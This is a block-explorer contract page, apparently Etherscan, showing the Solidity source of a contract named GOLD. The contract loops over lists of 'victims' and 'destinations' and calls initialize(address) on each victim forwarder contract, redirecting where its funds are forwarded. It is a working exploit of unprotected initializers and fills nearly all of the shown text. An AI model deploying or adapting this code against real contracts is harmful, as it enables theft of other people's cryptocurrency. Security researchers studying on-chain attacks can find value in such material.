ETH Price: $1,976.72 (+0.80%)

Contract Diff Checker

Contract Name:
GOLD

Contract Source Code:

File 1 of 1 : GOLD

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Forwarder {
    function destination() external view returns (address payable);
    function initialize(address payable _destination) external;
}

contract GOLD {
    error InitializeFailed(address victim, address destination, bytes reason);
    event ForwardingSetup(
        address indexed victim,
        address destination,
        bool success
    );

    function setupForwarding(
        address[] memory victims,
        address payable[] memory destinations
    ) external {
        require(victims.length == destinations.length, "Array length mismatch");
        for (uint256 i = 0; i < victims.length; i++) {
            (bool success, bytes memory reason) = victims[i].call(
                abi.encodeWithSignature("initialize(address)", destinations[i])
            );
            emit ForwardingSetup(victims[i], destinations[i], success);
            if (!success) {
                revert InitializeFailed(victims[i], destinations[i], reason);
            }
        }
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):